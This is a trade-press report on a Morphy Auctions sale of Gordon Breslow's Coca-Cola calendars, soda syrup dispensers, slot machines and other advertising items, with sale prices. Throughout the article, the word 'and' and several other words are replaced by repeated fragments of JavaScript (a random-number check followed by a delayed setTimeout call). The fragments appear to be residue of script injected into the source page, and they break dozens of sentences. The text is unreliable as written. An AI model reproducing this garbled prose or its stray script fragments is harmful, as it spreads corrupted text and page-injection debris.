By: David S. Smith

 DENVER, PENN. — “Talk about an expensive hobby! I was working to support my new ‘Coke’ habit,” proclaimed collector Gordon Breslow in the forward of Morphy Auctions’ coin-op andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and advertising catalog. “I always had to be careful who I would tell that to so they wouldn’t take it the wrong way,” added the collector quickly.

Breslow was not the only one who had to work hard to support their “Coke” habits as Coca-Cola memorabilia collectors poured out vast amounts of cash to claim coveted, often one-of-a-kind, items from the Breslow collection; 290 Coca-Cola items crossed the block during the sale, with a gross price for only the Coke items tallying $870,570.

More than 2,000 lots were sold during the three-day auction, August 22–24, including advertising items, coin-op, breweriana, soda related items, early slot machines andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a large collection of pinball machines.

The Coke items were the stars of the auction as Breslow’s coveted collection of calendars attracted attention from bidders around the globe. Breslow, whose parents operated a luncheonette in New Jersey, worked behind the soda fountain as a youth. His passion for Coke items began there with his first formal collection starting in the 1960s as he accumulated signage that was brought into the establishment. By the time the young collector was ready to move from his parent’s home, his Coke collection occupied three rooms of the house. That collection would later be sold to fund his newest habit, Coca-Cola calendars.

“The first early calendar I bought… was a the 1899 Hilda Clark with a full pad. I thought it was very expensive… I fell in love with the beautiful artwork andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and just knowing that they were hard to find, started me on my quest to acquire as many as I could. I would have liked to get them all in mint condition with full pads, but found that to be an impossible task,” related the collector. “I decided then that from 1914 up would all be full pads andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and any before 1914, I would just be happy to find them in any condition.”

The first of the Coke items to cross the block, a 1912 tip tray with condition problems, was the most inexpensive lot of the nearly 300 lots, selling at $30. It would not take long, however, for the sparks to fly as ten lots later the first of the calendars was offered. Thought to be the only known example with a partially intact pad, the 1896 Coke calendar carried an estimate of $30/60,000. Condition was termed by Morphy as “spectacular” with bright color andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a strong enamel finish overall. The calendar retained a partial pad staring with the month of April andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and it was displayed in an ornate gilt shadowbox frame. Bidding on the lot quickly eclipsed the estimate, with the calendar soaring to a record price of $105,000.

Two 1898 calendars with different artwork were offered next, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the sold within estimate at $19,200 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and $26,400. Three 1899 calendars, all with different artwork, were sold, with two examples bringing $27,600 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and another $31,200.

The best of the early calendars were up next; a 1900 embossed calendar exceeded the $18/36,000 estimate at $45,000.

The lot that garnered the most attention was a 1900 calendar cataloged as a “wonderfully strong example andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and one of two known to exist in the world in near mint condition.” Estimated at $50/100,000, the lot was termed the highlight of Breslow’s collection andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a “stellar museum piece.” Depicting a lovely woman reading a letter andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and holding a glass of Coke, a bouquet of roses at her side, the colors were crisp andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and clear. The embossed calendar proclaimed the product to be “delicious andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and refreshing” andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and also to “relieve mental andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and physical exhaustion” andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and further proclaimed it available at “all soda fountains 5 cents.”

Auctioneer Dan Morphy stated that presale interest had been overwhelming andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and he smartly predicted the lot exceeding estimate. In the end, the price exceeded Morphy’s expectations, selling at a record price of $210,000.

Other lots of interest included an Empire State vertical pocket tobacco tin that rocketed past the $600/800 estimate to achieve $24,000,

A huge collection of syrup dispensers crossed the block, with the top lot coming as a small salesman’s sample for Hires Root Beer was offered. On a small square marble base with embossed Hires plaques, dispenser andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and glass globe, the lot handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andily exceeded estimate as a collector paid $84,000. Another Hires lot, a Mettlach urn dispenser, sold at $10,200.

A large china Pepsi syrup urn was another of the lots to do well, selling at $69,000, while a gumball-shaped dispenser marked “Grapefruitola” nearly tripled estimates at $66,000. Another dispenser that brought a premium price was a Montelaise Cheriola dispenser that went out at $46,800. A large Jim Dandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andy Root Beer dispenser in good condition sold at $21,600.

Orange Julip, Cherry Smash andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Ward’s Lemon Crush dispensers sold for $7,800, $3,600 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and $1,560, respectively.

Slots was another category that saw substantial prices posted, with a Mills Double Dewey upright machine in working condition leading the way. Cataloged as “One of the nicest doubles you will see,” the machine went out within estimate at $114,000. Two early Caille slots did well, with both a 5-cent andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and 25-cent uprights selling at $18,000 each. A Royal Trader cigar trade stimulator brought $22,800 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a Caille Busy Bee cast iron trade stimulator realized $16,800.

A miniature salesman sample of a Koken barber chair had collectors foaming at the unusual leather andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and porcelain enameled example. Little more than 15 inches tall, it sold at $31,200.

One surprise of the sale was a set of 1970s beer cans, James Bond’s 007 Special Blend, that sold individually in the $500–$700 range, with the seven cans accumulatively realizing $4,320.

Prices include the buyer’s premium.

The next advertising sale at Morphy’s will be December 5–6, consignments are currently being accepted. A classic car auction will be conducted at Morphy’s on October 11, automobile andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and petroliana on October 12, postcards andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and ephemera October 25–26, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the Dan Hardesty Western Collection will be offered November 1–2.

For additional information, www.morphyauctions.com or 717-335-3435.